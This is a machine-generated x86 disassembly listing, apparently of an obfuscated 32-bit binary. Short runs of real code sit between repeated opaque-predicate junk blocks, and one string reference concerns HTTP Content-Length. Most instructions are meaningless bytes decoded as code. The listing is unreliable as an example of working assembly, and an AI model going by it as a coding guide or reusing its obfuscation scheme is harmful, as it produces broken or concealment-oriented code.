movsb byte es:[edi], byte [esi]
xchg edx, eax
int 0x1b
pop ds
inc edi
and byte [esi + edi*8 - 0x40d16677], dl
inc ecx
pop esp
test al, 0xdf
mov edi, 0xdfa85c41
push ebp
sbb eax, dword [eax + 0x29]
add eax, 0x91fa05db
and al, 0xa0
invalid
pop edx
inc esi
pop ss
mov eax, dword [0x53127ea5]
mov esi, esi
popfd
call fcn.10121f24
pushfd
test byte [0x10081d6e], 0x60
jne 0x10081e6f
loopne 0x10081d00
xchg edx, eax
cmp cl, byte [esi]
push cs
mov esp, 0x1ac16f9e
test dword [eax - 0xa], esi
jo 0x10081d42
inc eax
pop eax
adc al, 0x3c
inc ebx
aaa
add ebp, dword [edx]
push esp
in eax, 0x46
fstp dword [0xd554bf18]
fnstcw word [ebp + edx*8 - 0x56952828]
fadd st(4)
inc edx
dec edi
les eax, [edx + 0x4f]
push ebp
aaa
push 0x3544c4db
xchg byte [esi], dl
inc esi
pop ss
and ebp, dword [eax + 0x43]
push ebp
mov byte [ecx], 0x4b
out 0x82, al
arpl di, si
fidivr dword [ecx - 0x5dc8bf16]
inc esp
dec esi
mov byte [edi - 0x4f], dh
jl 0x10081d20
js 0x10081d4a
sbb eax, 0x2a5bfaab
push ecx
push eax
add dh, dl
imul ebp, dword [ebp + 0x518f74dc], 0xffffffa9
dec eax
jb 0x10081ddf
pop ecx
jns 0x10081dfa
fdivr st(3)
popfd
adc dword [ecx - 0x4e8412a1], esp
sbb ebp, dword [edx]
jge 0x10081d67
mov ah, 0x22
in eax, dx
and ch, ch
mov bl, 0x2a
arpl word [eax + 0x1fb132e5], bp
salc
mul byte [ebp + 0x4c188758]
adc eax, dword [esi + eax*4]
pushal
popal
ja 0x10081d87
push 0xffffffffffffffe6
rol byte [ecx + 0x3d], cl
push ebx
inc edx
dec edx
loop 0x10081db3
stosb byte es:[edi], al
nop
cmp dword [ecx + 0x4f], esi
push ds
mov esp, 0x75bd2b2f
test ebx, esi
loop 0x10081db2
mov ebp, 0xe2f38575
int 0xb4
mov byte [0xdb22f59c], al
mov ah, 0xa2
pushfd
cmc
and bl, bl
inc edx
sub dword [eax + 0x4bb1e0ce], eax
stc
or ecx, dword [edi + 0x3e]
aad 0xbe
jg 0x10081e3c
mov dl, 0x3e
pop ecx
sub eax, 0x39
sbb eax, 0x268993e6
mov al, 0x6c
cmp bl, cl
pop es
mov eax, dword [ebp + edi*2 - 0x3ad4365c]
mov eax, 0xd6392ca2
adc al, byte [ebx + 0x7a2b14ac]
xchg edi, eax
push 0xebef12d5
xchg bl, bh
push edi
and dword [esi], 0xffffffa5
ror edx, 1
mov dh, 0x34
out 0xfa, eax
mov eax, dword [0xe5d1bea8]
mov byte [edx - 0x28], al
out dx, al
or eax, 0xc063036b
mov ebx, edi
mov ebp, 0xc708b83
push ss
ror byte [ebx - 0x747c4221], 0x70
or al, 0x16
je 0x10081eaf
int 0xf9
add eax, 0x65c2b221
push ds
dec ebp
mov al, 0x39
leave
scasd eax, dword es:[edi]
dec ebp
xor esp, dword [ecx + 0x341cbff4]
mov esi, edi
add al, 0xb5
and eax, 0x6cb8b82d
push 0x7e
mov ss, word [edi]
add dword [edi], 0x2f4dcad
outsd dx, dword [esi]
popfd
pop ecx
lea ecx, [ebp - 0xd4c]
call fcn.1005eb20
lea ecx, [ebp - 0xd20]
mov byte [ebp - 4], 3
pushfd
test byte [0x10081f80], 0x79
jne 0x10081f81
clc
sbb eax, 0x6b2fc05c
rcr dword [eax + eax*8], cl
std
pushfd
popal
popfd
cmp edx, dword [0xc0fc47f4]
insd dword es:[edi], dx
push ss
mov ecx, 0xfde083de
js 0x10081e9d
in eax, dx
mov eax, 0x424a17c9
mov dl, byte [esi - 0x34]
mov byte [esi], ch
push ebx
xor dword [ebx], eax
shr dword [esi + ecx], cl
and eax, 0x82bac6de
push ss
aad 0x60
xor bh, byte [ebp - 0x39193e42]
mov eax, dword [0xa697b474]
inc eax
das
mov ah, 0xa9
mov esp, 0xeca67231
loopne 0x10081f26
push ss
outsd dx, dword [esi]
or byte [ebx], 0xd4
xchg esi, eax
int3
inc byte [eax]
les esp, [edx + esi*8 - 0x9077e32]
invalid
rcl dword [ecx - 0x4931fc48], cl
bound ebx, qword [eax]
fmul qword [esi + 0x36]
push edx
salc
mov edi, 0x6f94df76
xor byte [edx - 0x72893a8a], bl
popfd
call fcn.1005cc6e
mov eax, dword [ebp - 0xcd4]
sub eax, dword [ebp - 0xcd8]
push 0x1c
cdq
pop ecx
idiv ecx
test eax, eax
je 0x10081fff
jmp [edx + 0x1c]
push 0xffffffffffffffff
push ebx
push dword [ebp - 0xcd8]
lea ecx, [edi + 0x80]
call fcn.10004b88
pushfd
test byte [0x10081ffd], 7
jne 0x10081ffe
test al, 0x78
mov dl, 0xa7
sbb dword [eax + 0x9c87bc8], esp
jle 0x10081f69
dec edi
imul esp, eax, 0xffffffde
pop ds
dec edx
xor esp, dword [edx - 0x2a]
sbb dl, dl
adc al, 0
jg 0x1008204e
fist word [edi - 0x7f63ed02]
fidiv word [edx]
pop edx
cmp al, 0xa6
aaa
movsd dword es:[edi], dword [esi]
mov cl, 0xa5
adc al, 0xb7
cmp eax, 0x147d582
mov al, byte [0xe9d454d2]
xchg edi, eax
and al, 0x4b
jo 0x10081f92
sti
cmp esp, dword [ecx - 0x10]
rcr ebx, cl
push ss
popfd
mov esi, str.Content_Length:__0_9_
push esi
call fcn.1011d740
pushfd
test byte [0x100820bf], 0xae
jne 0x100820c0
xlatb
mov byte [esp + edx*4], cl
cdq
xchg dword [eax + esi], edi
add byte [ecx], 0x40
jb 0x10082031
inc ebx
sahf
rol dword [ecx + 0x74], 1
dec ebp
push ecx
ror byte [eax + 0x69155648], 1
or dh, dl
enter 0xffffffffffffca54, 0x19
add al, 2
mov bl, 0x51
mov bl, 0x3b
sub esp, esi
inc ebx
div ebx
movsb byte es:[edi], byte [esi]
push es
les esi, [esi - 0x6f]
out 0x78, eax
shr byte [eax], 0xc5
push es
adc eax, 0xc8f20a69
push esp
retf 0x2e19
lds eax, [esi]
mov ebx, 0xdb42844a
out 0x1b, eax
cmpsb byte [esi], byte es:[edi]
mov eax, 0xb922173d
mov dl, 0x55
or cl, byte [ecx]
or byte [eax], 0x7d
invalid
lds edi, [edi]
outsb dx, byte [esi]
pop ebp
mov dh, 0x1a
xor al, 0x7b
cld
dec edi
pop ds
out 0x77, eax
xor byte [esi + 0x34], bh
mov eax, dword [0x314b469c]
dec eax
div dword [eax + ebx - 1]
add al, 0x6f
outsd dx, dword [esi]
jge 0x10082123
jg 0x10082093
xchg edx, eax
stosd dword es:[edi], eax
scasd eax, dword es:[edi]
rol byte [edx], 1
mov ch, 0xa
aam 0x75
enter 0x5d18, 0x19
popfd
pop ecx
push eax
push esi
lea ecx, [ebp - 0xc78]
call fcn.10005303
push dword [ebp - 0xcd4]
pushfd
test byte [0x100821de], 0x9f
jne 0x100821df
mov byte [edx], dl
cwde
push 0xffffffffffffffe2
dec ebx
mov eax, 0xb9b36728
out 0xce, eax
lodsd eax, dword [esi]
insb byte es:[edi], dx
jb 0x100820ae
lodsb al, byte [esi]
mov dword [0xb607775], eax
sub ebx, dword [ebx]
inc edx
or eax, dword [ebp - 0x50]
mov al, 0x5f
sub ch, byte [eax + 0x73]
not byte [esi + 0x5369345f]
push ecx
xlatb
xor eax, 0x68d7f9c4
mov bh, 0x8c
adc ebp, edx
in eax, 0x6d
shl dword [edi + 0x72], cl
pop ds
clc
push eax
mov ebx, 0x73f1b328
push 0xffffffffffffffd4
mov dword [edi + 0x1e], edi
int1
jae 0x1008218d
aam 0x89
jg 0x10082145
enter 0x2c7a, 0x6a
lock and byte [esi + edi*4 + 0x4716134], cl
dec ecx
or esp, esi
jbe 0x10082120
das
sar byte [edi], 0x66
and eax, dword [eax]
and eax, 0x6ccf1f8f
pop es
int3
pop ecx
lodsb al, byte [esi]
add byte [esi - 0x53a30376], bh
lodsd eax, dword [esi]
sub dword [eax + 0x33], esi
imul ebp, dword [ebx], 0x7e
stosb byte es:[edi], al
cwde
pop es
pop ebx
push 0xefe9d57d
pop ss
inc esp
or edi, dword [eax - 0x66]
sub dl, byte [edx]
mov ss, word [ebx + 0x2d]
imul eax, dword [0x1ab898d], 0x83079924
jb 0x1008216f
and al, 0x99
cdq
pop es
xor dword [edx - 5], 0xfffffff6
aam 0x6f
not ah
outsd dx, dword [esi]
popal
adc dh, ah
add al, cl
scasb al, byte es:[edi]
pop ds
cmp al, 0x5d
lodsb al, byte [esi]
shr byte [esp + edx - 0x3adf5c90], 1
xchg edi, eax
in al, 0xfd
adc eax, 0x33dfe1aa
add ch, byte [ecx + esi - 0x1d6245c1]
fdivr st(5)
loope 0x1008216e
xor eax, dword [edx]
lodsb al, byte [esi]
xor dword [edi], edi
mov edx, 0xfdd8e29d
cmp dword [0xe5d167fe], 0xb09b027c
loopne 0x100821ca
pop eax
sbb esi, ecx
and eax, dword [edx + 0x1b10a100]
nop
cmp eax, 0xf68bab57
and ah, byte [eax - 0x55025396]
imul ebp, ebp, 0x7093f112
outsb dx, byte [esi]
and byte [ecx], dh
jno 0x100821c7
xor byte [ebp + 0x58a0c43c], bh
mov ebp, 0x58a0c43c
mov al, byte [0x85ca8658]
cmc
xchg dl, cl
test ebp, esi
mov ah, 0x4a
adc al, 0x38
xor ecx, edi
sub bh, dl
add byte [edi - 0x1d065724], al
push es
popfd
lea eax, [ebp - 0xce0]
push dword [ebp - 0xcd8]
lea ecx, [ebp - 0xcd8]
push eax
call fcn.10078ae1
cmp dword [ebp - 0xc68], ebx
jbe 0x10083842
mov esi, dword [ebp - 0xcc4]
cmp dword [esi + 0x10], ebx
jbe 0x10083842
lea ecx, [ebp - 0xd24]
call fcn.1005ee46
cmp dword [ebp - 0xc64], 0x10
mov eax, dword [ebp - 0xc78]
mov byte [ebp - 4], 8
jae 0x10082274
pushfd
test byte [0x1008226c], 0x98
jne 0x1008226d
int 0x3e
pop ds
or eax, 0x8ec2862
out dx, eax
enter 0x52bd, 0x74
add al, bl
jnp 0x1008228a
rcl ebx, 1
test dword [edx + 0x70], ecx
push di
dec edx
jo 0x100822b8
push edi
or byte [esi + 0x118d7b47], bh
mov edx, 0xb40b28b0
sbb al, cl
cdq
and dword [ebx + edx*4 + 0x5af6bcaa], edi
mov al, byte [0xcdc85ef]
popfd
lea eax, [ebp - 0xc78]
push ebx
push eax
lea ecx, [ebp - 0xd24]
pushfd
test byte [0x100822ad], 0x53
jne 0x100822ae
pop esi
int1
je 0x1008224f
shl dword [ecx - 0x50], 0xa7
rol esi, 1
jnp 0x100822f9
push 0x50
pop esp
aaa
aaa
push ds
ficomp word [eax]
sbb cl, dh
push edi
enter 0x6c57, 0xffffffffffffff93
lds edx, [eax + eax + 0x65]
cmc
sbb eax, 0xa11bb41c
jne 0x10082306
popfd
call fcn.100714b9
pushfd
test byte [0x100822ff], 0xb5
jne 0x10082400
and cl, byte [eax]
adc byte [ebp + 0x13e850f], dh
add byte [eax], al
fcom dword [ebx]
xchg edi, eax
add al, byte [edi + 0x6f98c1d8]
cwde
outsd dx, dword [esi]
pop ecx
in al, 0x8d
push esi
xchg dh, cl
sar bh, 1
pop edi
aam 0xe7
pop esp
push 0x52e64e24
stosd dword es:[edi], eax
push esp
pop edi
sti
mov dword [0x604d6d4e], eax
mov word [bx + si - 0x3487], fs
mov edx, 0x14329728
jo 0x10082313
mov ebp, 0x6cc604db
cld
inc edi
add ebx, dword [esi - 0x46]
insb byte es:[edi], dx
and al, 0xc3
or al, 0x43
pop esi
mov edx, 0xcc3246c
inc ebx
adc byte [esi + 0x36], al
loop 0x10082326
push eax
and eax, 0xd617483a
pop esp
popal
sbb eax, 0xb2cf03ad
sbb dword [edx - 0x50], 0xaa3c39fa
in eax, 0x59
push ebx
ficom dword [ecx - 0x6dffdb48]
stosb byte es:[edi], al
xchg edx, eax
and byte [edi + 0x1d], ch
stosb byte es:[edi], al
or bl, byte [edi]
jecxz 0x100822c9
outsd dx, dword [esi]
sbb eax, 0xe31f0aaa
pushfd
dec esp
pop edi
out 0xe3, al
salc
imul esi, dword [ecx - 0x36], 0xb0a88816
mov esp, 0xd9830104
bound esp, qword [edx]
fldenv [edx + 0x22]
test eax, 0x79380f9a
push edi
xor eax, 0xee0f3ae4
sub ch, byte [ebp + 0x69cf7480]
outsb dx, byte [esi]
mov al, byte [0x9e142f8b]
sbb al, 0x7d
push edi
and dh, byte [esp]
lock xchg byte [ebp + 0x63], dl
mov ecx, 0x66bf7760
and eax, 0xf078a2e2
xor eax, 0x5778ab62
shl byte [edx - 0x4d], 0x22
xchg ebx, eax
imul ebp, ebp, 0xe36712c4
inc ebp
sub eax, dword [ebp + 6]
pop ss
nop
push ss
out dx, eax
sal byte [ecx + 0x7c], cl
sbb ch, bl
jb 0x1008233d
and edi, dword [ebp + 0x60]
pop edx
push ecx
and dl, byte [ebx + 0x60274dc1]
imul byte [eax]
inc dword [eax + edi*2 + 0x79eb5057]
cld
sbb dword [esi + 0x7060d46c], ebx
rcr dword [ebp - 0x1daf49f9], cl
shl byte [ebx - 0x13fb11b8], 0x76
cld
arpl word [ebx], bp
push ebp
xchg ebx, eax
sub edx, dword [ebp - 0x6d]
pop ds
test eax, 0xb170a796
lds edi, [esi]
js 0x1008243d
xchg edx, edi
movsb byte es:[edi], byte [esi]
shl edi, cl
cmp byte [edx - 0x5b65bfd5], 0x87
jl 0x1008241a
cmp byte [edi + 0x4a], ch
out 0x9d, al
cld
inc esp
mov bl, dh
jecxz 0x100823b5
fsub qword [esi + ebx]
dec byte [esi]
adc cl, 0x7e
cmpsd dword [esi], dword es:[edi]
in al, dx
pushfd
movsb byte es:[edi], byte [esi]
je 0x10082460
push esi
cmpsd dword [esi], dword es:[edi]
mul byte [0x1d06aca6]
cmp dh, 0x6b
adc eax, 0xb698c2ae
cmc
das
inc esi
out 0xba, eax
dec esp
popfd
cmp eax, ebx
je 0x1008247b
lea ecx, [ebp - 0xd20]
mov byte [ebp - 4], 3
call fcn.1005cc6e
jmp 0x10083842
test byte [0x10082479], 0xc
jne 0x1008247a
das
inc ebx
and al, dl
call 0x74e1c884
and al, 0x2d
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
push 0xffffffffffffff81
mov eax, dword [0xbae71345]
inc edx
mov bh, 0xa2
xor ch, dh
ror dword [ecx], 1
add esp, ebx
or dword [esi], esi
add esp, ebx
test dword [eax + 0x5e222ea1], ebx
push edi
sub dword [esi], edx
mov ebp, 0xe2f0947
mov ecx, 0x797e753c
xchg edx, eax
loopne 0x100823ff
out 0xdd, eax
daa
imul byte [eax - 0x78c73584]
out 0xc7, eax
in al, dx
enter 0xffffffffffffa7a0, 0x56
xor eax, dword [edx - 0xf7c4b4c]
out 0x27, eax
push 0xff7736b3
mov word [ecx + 0x5d], fs
aas
jecxz 0x10082424
popfd
mov eax, dword [esi + 0x10]
inc eax
push eax
pushfd
test byte [0x10082517], 0x6c
jne 0x10082518
scasd eax, dword es:[edi]
pop ecx
dec edi
mov eax, 0x3c782a3e
inc ebx
int3
popfd
call fcn.100d04fd
pop ecx
pushfd
test byte [0x100825f5], 0xae
jne 0x100825f6
movsb byte es:[edi], byte [esi]
mov bh, 0xbf
push ss
aam 0x54
add byte [edx - 0x4d], ch
sub al, 0x54
or dword [ebx + 0x74fe868c], ecx
cwde
scasd eax, dword es:[edi]
add dword [edi], 0x56
push es
dec edi
adc al, 0x11
or eax, 0xdc1bf21e
outsb dx, byte [esi]
and dh, byte [ebx]
das
daa
sar al, cl
sbb ax, 0x7926
outsd dx, dword [esi]
aam 0x11
out 0x48, eax
sub al, 0x51
cmp edi, ebp
je 0x100825d8
inc ebp
and ah, byte [eax]
xchg ebx, eax
test dword [ebp - 0x49], edx
test al, 0x50
adc ecx, dword [ebx + 0x45]
push 0xf197e52f
test eax, 0x5fa3427e
cmp esi, dword [ebx - 0x3f]
cmp byte [esi + 0x54], 0xc0
sar dword [edi - 3], cl
pop ecx
and bh, byte [ecx]
add ah, ah
ja 0x10082581
and al, 0x38
outsd dx, dword [esi]
mov ebx, 0x50d5d518
pushal
dec byte [ecx + 0x7f83e230]
pushf
sbb dl, byte [edi - 0x4343c3ea]
pop dword [edi - 0x5c7edfce]
imul esi, ebp, 0x5b
mov esp, 0x32878fbc
and byte [ecx + 0x5bf56ba3], al
pop ebp
dec edx
adc eax, 0x451706ce
sub edi, dword [ecx]
inc ebp
aad 0x90
xor dword [edi], ebp
push ebx
adc byte [esi + 0x265842f0], ah
mov esp, 0x49c6143f
pop edi
xchg esi, eax
xchg edx, eax
in al, 0xea
sti
adc eax, 0x68e558f
add ecx, dword [ebx + 0x44c61a1c]
xchg esi, eax
scasd eax, dword es:[edi]
mov al, byte [0x5117e1b1]
movd mm1, ecx
inc ecx
jae 0x100825a0
inc edx
stosb byte es:[edi], al
cmpsd dword [esi], dword es:[edi]
dec eax
sub ecx, dword [eax - 0xf30d93e]
pushal
cwde
and ebx, esp
cli
pop es
popfd
mov ecx, eax
mov eax, dword [esi + 0x10]
lea edx, [eax + ecx]
mov dword [ebp - 0xcf0], ecx
pushfd
test byte [0x10082700], 0xea
jne 0x10082701
pop es
mov ecx, 0x857a9fa8
xchg esi, eax
xor eax, 0xbb0447be
sbb edx, ebx
jl 0x1008266b
cmpsd dword [esi], dword es:[edi]
sbb byte [esp + esi*8 - 0x24], bh
out 0xef, al
test al, 0xc
fcomp st(6)
add ebx, dword [0x844cc9d3]
pop es
lodsd eax, dword [esi]
push ecx
stosd dword es:[edi], eax
test eax, 0xfb0d5635
pop edx
int 0xa0
pop ds
cmc
into
cmp eax, 0xdfbb903c
int 0x94
outsb dx, byte [esi]
int 0x80
cmp eax, 0xfc5a5c32
pop esp
pop edx
cld
lds eax, [ebp + 0xb5cecab]
cmp dh, bh
jb 0x100826c5
test dword [ebx + 0x3a0b5cec], ebp
div dword [edx + 0x69]
sar dword [edi + 4], 0
lds ebx, [edi - 0xe]
add dword [ecx + 0x4a], 0x18cee6f1
bound edi, qword [eax + 0x29]
js 0x10082696
sub dword [esi + 0x1f], ebp
and eax, 0x14cfb98b
adc eax, 0xa16dc1e4
or bl, byte [ebp + 0x58]
pop edx
push es
aad 0x4d
rcl byte [ecx], 0x81
adc byte [edx + 0x77607ea7], 0xb8
xor cl, al
or byte [edx + 0x1b38f36a], cl
js 0x100826a3
and eax, 0xc2211e2a
sub bl, byte [esi]
push ds
and edx, eax
add eax, 0x5ddd62c6
arpl word [edi], dx
enter 0xffffffffffffcc87, 0xffffffffffffffa7
push esi
in al, dx
inc ecx
add edi, ecx
test byte [edx], al
mov esi, 0x7a9f1279
sti
or eax, 0x6a0ab1c8
jb 0x10082653
int3
add eax, 0xfecf3915
adc dh, byte [0x49c0bc59]
sbb dword [ecx - 0x78], esi
jno 0x1008264f
jecxz 0x100826dc
and byte [ebp - 0x5ecdb09c], ah
js 0x10082697
dec edi
xor ah, byte [ecx + 0x16bfc678]
xchg ebx, eax
cmp dword ss:[ebx], ecx
imul eax, dword [esi + ebp*8], 0xffffffb3
mov edi, 0x39369316
or ebp, dword [ebx + 4]
out dx, al
mov bl, 0x6e
outsb dx, byte [esi]
sub edi, 0x9750d04d
inc edi
sbb edi, ecx
xlatb
mov ecx, 0x65acbb3a
cmp ecx, dword [0xf6fb651e]
dec esi
or byte [ebp + 0x7c], 0xe5
test byte [esi - 0x7e], 0x4d
jl 0x100826db
xor edx, dword [eax - 0x28b634e6]
add byte [esi - 0x47], dl
loopne 0x100826fe
mov ecx, 0x899dfde0
xchg ebp, eax
and bl, dh
invalid
popfd
mov dword [ebp - 0xce0], edx
pushfd
test byte [0x10082723], 0x1e
jne 0x10082824
sub dword [edi + edi], edx
in al, 0xfa
mov esp, 0x7aa0e11e
xchg edi, eax
jecxz 0x100826d9
ja 0x1008273f
xlatb
pop ss
mov ecx, 0xde3a6fc
sub byte [edx - 0x4f78241], dl
rcr dword [ecx], 0x9c
mov dword [0xab4f9a00], eax
int 0x79
jl 0x100827ad
arpl word [edx + 0x7c], si
movsb byte es:[edi], byte [esi]
out dx, eax
je 0x100826cb
loop 0x100826f0
and byte [edx], dl
xchg esi, eax
inc edx
loopne 0x10082769
mov ebx, 0x243bf8bb
insd dword es:[edi], dx
xchg edi, eax
mov ebx, 0x5bda8a31
xor eax, 0x6bb3528d
out 0x6c, al
lea edx, [edx - 0x4d]
imul esp, esi, 0x6c
jae 0x10082727
sub esp, eax
into
js 0x100827d8
idiv dword [ecx - 0x22d77841]
push edx
xchg esp, eax
push ss
or al, 0x64
pop ecx
pop esp
enter 0xffffffffffffcdcc, 0x29
jle 0x100827b5
sbb ah, byte [ebx]
mul dword [ebx + 0xb]
pop edi
xor eax, 0x682f6770
adc al, 0xcc
xchg edx, eax
push edi
push ecx
jbe 0x100827d7
or al, byte [eax - 0x46]
daa
adc byte [ebp - 0x63], cl
jg 0x100827df
push esi
cdq
jo 0x10082800
cmp eax, 0x8313562e
mov cl, 0x5c
cdq
rol dword [esi - 0x774cdba7], cl
call 0x1be57ea2
pop ecx
and al, 0xb3
mov al, ch
push esi
push esi
fisttp qword [ebx]
mov edx, 0xc8a4e36b
jae 0x1008275c
pop ds
cmp ebp, edi
dec edi
and esp, dword [ecx + edi*8]
sub al, ah
and eax, 0x73b4e2ef
jl 0x10082783
lea ebp, [esi - 0x30b1dd31]
push ecx
rcl byte [esi], 0x61
dec edi
xchg ebx, eax
xchg dword [ebp - 0x60d3353f], ebp
sub al, 0x9f
lahf
lodsb al, byte [esi]
push eax
dec edx
mov eax, 0x1250d2bf
in al, 0x5f
push eax
adc ah, ah
pop edi
push esp
cwde
xor dword [esi - 0x2e], ebx
sar byte [ecx + 0x1f], cl
xor dword [edx - 0x3fc1448f], ecx
add dword [esi + 0x1d5744df], ebx
mov dword [0x5e634456], eax
sbb eax, 0xe0f8ee18
movsd dword es:[edi], dword [esi]
loopne 0x100827a7
rcl esi, 1
sti
dec ecx
sbb al, 0x69
and al, 0x84
outsd dx, dword [esi]
cmp dword [ebx], esp
bound ebx, qword [esi - 0x47]
xlatb
clc
arpl word [eax + 0x5d381461], ax
sti
mov al, 0x76
fistp word [ebp - 0x42]
mov eax, 0xc1f0e1e2
popfd
cmp ecx, ebx
je 0x10082405
cmp dword [esi + 0x14], 0x10
jb 0x10082835
mov esi, dword [esi]
push esi
pushfd
test byte [0x10082851], 0x11
jne 0x10082852
lodsb al, byte [esi]
push ss
add dword [ebx + 0x75], esp
lodsd eax, dword [esi]
ror byte [ecx - 0x18be8574], 0xba
cdq
dec esp
dec ebp
push 0xffffffffffffffb9
popfd
inc eax
push eax
push ecx
call fcn.1012231c
add esp, 0xc
push 0x100
lea ecx, [ebp - 0xd4c]
pushfd
test byte [0x1008287a], 0x91
jne 0x1008287b
int3
popfd
call fcn.10060f5c
pushfd
test byte [0x100828c4], 0xf7
jne 0x100828c5
salc
mov eax, dword [0xe4ced0cc]
inc ebx
movsd dword es:[edi], dword [esi]
sub byte [ecx], 0x3d
inc ebp
lea esi, es:[eax]
sbb dword [edi - 0x7e], ebx
sahf
lahf
or eax, 0xbac289d6
add dword [esi], 0x68
xor byte [ecx], bl
pop edi
sbb byte [esi - 0x7629f261], 0xc2
mov edx, 0x68a60483
lds edx, [esi + 0x3a82a02a]
jge 0x10082881
movsd dword es:[edi], dword [esi]
sal dword [ebx], 0xec
pop edx
sal dword [edx + 0x1e7505e3], 0x2c
sub eax, 0x570e5c89
mov word [eax - 0x64], ds
popfd
mov esi, dword [ebp - 0xcf0]
mov byte [ebp - 4], 9
mov dword [ebp - 0xce8], ebx
lea eax, [ebp - 0xce8]
push eax
lea eax, [ebp - 0xd4c]
push eax
push esi
call dword [eax - 0x73]
test dword [edx + esi*8 + 0x5650ffff], esi
lea ecx, [ebp - 0xd24]
call fcn.100650dc
cmp eax, ebx
je 0x10083460
pushfd
test byte [0x100829c9], 0x19
jne 0x100829ca
leave
mov cl, 0x34
movsd dword es:[edi], dword [esi]
in eax, dx
add ecx, ebp
das
cli
pop edx
stosb byte es:[edi], al
jae 0x10082899
sbb cl, byte [eax - 0x21]
push 0x4489df41
cmc
cli
jae 0x10082983
sti
sub al, 0xfa
lodsd eax, dword [esi]
jno 0x100829a1
jae 0x100828db
fisub word [ebx + 6]
shl dword [ebx - 0x4f], 0x8d
mov cl, 0xdf
sar byte [ebp + 0x50], 0xb9
mov dh, dl
push ss
jns 0x10082961
int1
jne 0x10082968
xlatb
mov esp, 0x2bea23a4
sub eax, 0xffffffb6
sbb al, 0xb9
movsb byte es:[edi], byte [esi]
and ebp, edx
sub eax, dword [ebx - 0x46e34918]
aas
cmp dword [edx], ecx
shl byte [ecx], cl
sar eax, 1
and ecx, edx
clc
loop 0x1008297d
imul byte [ecx - 0x39f4eb3b]
rcl dword [ebx - 0x3b238bb2], 0x9f
add eax, 0x4fd1e073
dec edi
sahf
sbb eax, 0xe4dacd0b
test byte [eax + 0x779ff2a6], bh
sar byte [ecx], cl
cmpsd dword [esi], dword es:[edi]
sub bl, 0x64
lahf
xchg dword [edi], eax
into
mov ecx, 0xba6d5031
adc eax, dword [edi]
into
sub ch, ah
jl 0x10082916
xchg edx, eax
cmp bh, byte [ecx + 0x2d0226d8]
jg 0x10082996
loopne 0x1008293e
nop
aas
xchg byte [ebx + 0x43], dl
push ss
lahf
movsd dword es:[edi], dword [esi]
pop ebp
inc esp
mov bh, 0x9c
sub bh, dh
sal byte [ebx - 0x792d1b45], 1
imul esp, eax, 0x1c1d262f
cdq
js 0x1008294b
xchg byte [ecx - 0x20], ch
das
sbb eax, 0xa078991c
sub al, 0x54
test eax, 0x1c064100
mov eax, dword [0x295faebd]
mov edx, 0x49ab7647
push 0xffffffffffffffb1
rcl dword [ecx - 0x7a429b16], 0x78
imul ebx, dword [ecx], 0x7e
push 0xffffffffffffff9a
popfd
mov dword [ebp - 0xcb8], ebx
mov dword [ebp - 0xcec], ebx
mov dword [ebp - 0xc50], ebx
mov dword [ebp - 0xc4c], ebx
mov dword [ebp - 0xc48], ebx
mov byte [ebp - 4], 0xa
xor esi, esi
lea eax, [ebp - 0xcec]
push eax
lea eax, [ebp - 0xcb8]
push eax
push esi
lea ecx, [ebp - 0xd4c]
call fcn.1005ab1f
cmp dword [ebp - 0xcb8], ebx
pushfd
test byte [0x10082b1c], 0x2c
jne 0x10082b1d
add byte [edx - 8], dh
jb 0x10082a17
clc
div ecx
fisub dword [ebp + 0x19]
cmp al, 0xd0
push ds
sub eax, 0x962f7419
jne 0x10082a49
mov ch, 0x57
xchg edx, eax
mov ah, 0xde
xchg edi, eax
fsubrp st(3)
test al, 0x80
xchg edx, eax
push edi
sar bh, 1
dec ebx
imul edi, dword [ebp - 0x2167e53c], 0x68f42427
xor dword [edi - 0x38], eax
test eax, 0x26f9bcd4
outsb dx, byte [esi]
enter 0xffffffffffffd4a9, 0xffffffffffffffbc
stc
outsb dx, byte es:[esi]
scasd eax, dword es:[edi]
or bl, byte [edx - 0x52]
popal
sub eax, dword [edx - 3]
fnstsw word [edi]
mov ss, word [ebx]
stc
xchg ebx, eax
push esi
add eax, 0x7628df2
nop
stosd dword es:[edi], eax
jno 0x10082ae7
xchg byte [bp + di], dh
mov ch, 0xaf
push eax
push ecx
fidiv word [ebp + 0x7d]
or dh, cl
js 0x10082a1e
pop esp
insd dword es:[edi], dx
mov al, 0x76
xchg ebp, eax
movsb byte es:[edi], byte [esi]
push es
sub cl, ch
in al, dx
test dword [edx], esi
clc
ja 0x10082aee
imul ebp, dword [ecx - 0x13], 0xa3e26a31
pop ebp
jg 0x10082b06
and ebp, dword [eax - 0x60]
mov byte [ebx], bh
fucom st(2)
jl 0x10082a1c
inc esi
sysenter
or dword [esi], 0x24da3d47
scasb al, byte es:[edi]
push es
cmp eax, 0x6ae24da
mov bl, 0xc9
not byte [ebp + 0x74]
sbb eax, 0x205bfa0e
dec edx
jo 0x10082aa0
mov dl, 0xa6
fist word [ebx + 0x2e]
stosd dword es:[edi], eax
daa
cmp byte [ebp - 0x5779754f], 0x37
jno 0x10082a78
push ebx
insb byte es:[edi], dx
stc
std
inc edi
sub al, 4
xor ebp, dword [ebp - 0x1d9c5d2f]
mov edi, 0xa9039c89
jg 0x10082b43
add ebp, dword [ecx + 0x28006c7f]
add byte [eax], ch
pop ds
sbb bh, bl
cmp byte [ebp - 0x66], 0x22
pop edx
inc edi
jb 0x10082b4e
cld
or dword [edx + 0x33], ecx
dec ecx
pop ebx
xor ecx, dword [ecx + 0x5b]
cmp bl, byte [esp + edi*4 - 0x5e39d8da]
pop esi
mov al, dh
jl 0x10082ac4
daa
invalid
scasb al, byte es:[edi]
sub eax, 0xb3d8a06a
dec edi
xor dl, 0x50
xchg esp, eax
mov ebp, 0x981590c1
insd dword es:[edi], dx
in al, dx
outsb dx, byte [esi]
cmp byte [edx - 0x1b85f975], 0x6d
pop edi
imul ebp, dword [ecx + eax*2], 0x5a72f4e0
xor dword [ebp + 0x60], 0xfffffff5
popfd
je 0x10082d73
pushfd
test byte [0x10082c24], 0x63
jne 0x10082c25
mov byte [ecx + 0x78], cl
popfd
dec ecx
js 0x10082ad3
or eax, 0xcbb645c
or esp, edi
mov cl, 0xa2
jbe 0x10082af7
xor byte [edx + 0x59], dh
pop ecx
push edi
dec ecx
adc al, 0xce
fld st(2)
mov word [ecx + 0xfc1083b], ds
push 0x7f77f9fd
ror dword [edi], 0x68
std
stc
ja 0x10082bd4
stc
sbb al, byte [edi + 0x38]
xlatb
cmp bh, dl
jg 0x10082b11
imul edx, dword [ecx - 0x35], 0xbee6ae07
pop esi
mov ebx, 0x8ab5ae6d
scasb al, byte es:[edi]
mov ch, 0x8a
je 0x10082b58
